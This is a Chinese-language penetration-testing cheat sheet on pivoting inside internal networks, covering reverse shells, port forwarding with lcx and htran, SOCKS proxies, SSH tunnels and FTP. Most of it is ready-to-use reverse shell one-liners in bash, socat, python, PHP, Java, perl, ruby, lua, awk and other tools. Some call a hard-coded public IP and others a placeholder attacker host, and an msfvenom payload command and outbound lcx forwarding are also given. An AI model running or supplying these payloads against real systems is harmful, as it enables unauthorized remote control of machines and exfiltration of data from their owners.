内网转发

内网转发目的

渗透测试中,我们往往会面对十分复杂的内网环境。比如最常用的防火墙,它会限制特定端口的让A和C数据包出入
最典型的解释是:
A可以访问B的80端口,但不能访问B的3389端口
A可以访问B,B可以访问C,但A不能访问C。需要通过B转发数据,让A和C进行通信

内网示意图


知识基础

正向代理

代理通常是指正向代理。正向代理的过程,隐藏了真实的请求客户端,服务端不知道真实客户端身份,哭护短请求的服务都被代理服务器代替来请求

反向代理

反向代理是相对于服务器而言。例如:当请求www.baidu.com时,背后可能有成千上万台服务器为我们服务,但具体是哪一台则不得而知。此时www.baidu.com就是反向代理服务器,反向代理服务器会帮我们将请求转发到真实的服务器。比如负载均衡


内网转发三种形式

反弹Shell

  • Windows反弹Shell:nc
  • Linux反弹Shell:nc

shell: ksh socat
udp接收:

1
socat udp-listen:5555 -


Msfvenom生成

msfvenom生成任意类型反弹shell代码

1
2
msfvenom -l payloads | grep windows
msfvenom -p windows/powershell_reverse_tcp LHOST=192.168.20.92 LPORT=5555


Linux常用反弹shell代码

  1. 发送文件(公网发内网)
    文件发送端:nc -lp 6666 < 文件
    文件接收端:nc 发送端ip 发送端端口 > 新文件

  2. 发送文件(内网发公网)
    文件发送端:nc -lp 6666 > 文件
    文件接收端:nc 发送端ip 发送端端口 < 新文件

  3. 聊天
    发送端:nc -lp 6666
    接收端:nc 发送端ip 发送端端口

  4. 发送shell
    发送端(公网服务器):nc -lvvp 6666 -e /bin/bash
    接收端:nc 发送端ip 发送端攻击者ip

  5. 反弹shell
    发送端(内网网服务器):nc 接收端ip 接收端端口 -e /bin/bash

  6. bash反弹
    发送端(受害者):bash -i >& /dev/tcp/111.230.170.95/9985 0>&1
    发送端(受害者):0<&31-;exec 31<>/dev/tcp/111.230.170.95/9985;sh <&31 >&31 2>&31

  7. socat反弹(tcp)

    1
    ./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机ip:攻击机端口
  8. socat反弹(udp)

    1
    socat udp-connect:攻击者ip:端口 exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &
  9. python反弹

    1
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("接收端ip",接收端端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  10. PHP反弹

    1
    php -r '$sock=fsockopen("攻击者ip",端口);exec("/bin/sh -i <&3 >&3 2>&3");'
  11. JAVA反弹

    1
    2
    3
    r = Runtime.getRuntime()
    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/攻击者ip/端口;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
    p.waitFor()
  12. perl反弹

    1
    perl -e 'use Socket;$i="攻击者ip";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  13. ruby反弹

    1
    ruby -rsocket -e 'exit if fork;c=TCPSocket.new("攻击者ip","端口");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
  14. telnet反弹

    1
    mknod backpipe p && telnet 攻击者ip 端口 0<backpipe | /bin/bash 1>backpipe
  15. lua反弹(安装lua环境:apt-get install lua*)

    1
    lua -e "local s=require('socket');local t=assert(s.tcp());t:connect('攻击者ip',端口);while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();"
  16. awk反弹

    1
    awk 'BEGIN{s="/inet/tcp/0/攻击者ip/端口";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!="exit");close(s)}}'
  17. ksh反弹

    1
    ksh -c 'ksh >/dev/tcp/攻击者ip/端口 2>&1 <&1'

Tip:注意接收端空换行可能导致断开连接


反弹端口

  • LCX
  • reduh

    Mstsc客户端 => reDuh代理 => HTTP tunne => Web服务器 => 3389

Lcx
监听5555端口,转发至12345端口
./lcx -listen 5555 12345
转发本机80端口,至外网111.230.170.95 的 5555端口
./lcx -slave 111.230.170.95 5555 127.0.0.1 80


实验1

参考示例内网环境

环境:
172.16.39.141(A)不能访问192.18.20.x网段,但可以访问172.16.39.x的内网机器(B),同时80端口只能本地访问,但是8080端口对外开放

1
2
3
4
5
6
7
8
9
10
11
12
13
# 被控制服务器A的80端口转发到本地8080端口
lcx -tran 8080 127.0.0.1 80

# 使用双网卡的边界主机B,与内网主机A的8080端口建立连接
# A:172.16.39.207
# B:172.16.39.141
lcx -slave 172.16.39.207 4444 172.16.39.141 8080

# 在边界主机B上监听端口4444,并将监听到的内容发送到12345
lcx -listen 4444 12345

# 外网机器访问边界主机B的外网地址的12345端口
curl http://192.168.20.198:12345


反弹代理

有时需要对内网进行更深一步的扫描和渗透,此时需要设置一个代理服务器,充当外网和内网数据转发的节点,即反弹代理,也称为反弹socket

利用系统服务

  • http tunnel

    reduh tunna 用来反弹端口
    reGeorg反弹代理

  • ssh tunnel

  • ftp tunnel

    frp

  • DNS tunnel

  • Ping tunnel

代理软件

proxifier简单设置

  • 配置文件->代理服务器
    地址:127.0.0.1:8888
    协议:SOCKES 5

  • 代理规则
    添加应用程序,设置目标机任意,目标端口任意,动作Proxy SOCKS5 127.0.0.1


Kali代理

1
2
3
vim /etc/proxychains
socks5 127.0.0.1 8888
proxychains nmap -Pn -p 80 x.x.x.x

proxychains

htran

  1. 外网服务器执行

    1
    2
    # 监听两个端口,9001用来接收内网机器,9000连接proxychians等socket5工具的数据
    HTran.exe -p -listen 9001 9000
  2. 内网机器执行

    1
    Htran.exe -p -slave 1.1.1.1 9001 127.0.0.1 8009
  3. 配置本机socket5工具,连接外网服务器上的9000端口
    推荐Earthworm


内网转发多种情况

1
2
3
4
5
6
7
8
# 本地转发
# 使用本地的8888转发172.16.39.141:80的内容
ssh -CfNg -L 8888:127.0.0.1:80 root@172.16.39.141

# 远程转发
# 使用172.16.39.141的8888转发本地的80的内容
# 只允许172.16.39.141访问172.16.39.141的8888
ssh -CfNg -R 8888:127.0.0.1:80 root@172.16.39.141

常见端口转发工具

  • portmap
  • 花生壳
    等等

补充

FTP常用命令

1
2
3
4
5
service vsftpd status  # 服务状态
ftp 172.16.12.2 # ftp连接
get shell.txt # 下载
put shell.txt # 上传
bye # 退出

FTP匿名登录Server-U

默认账号密码:
账号:anonymous
密码:空或Email

您的支持是我前进的动力!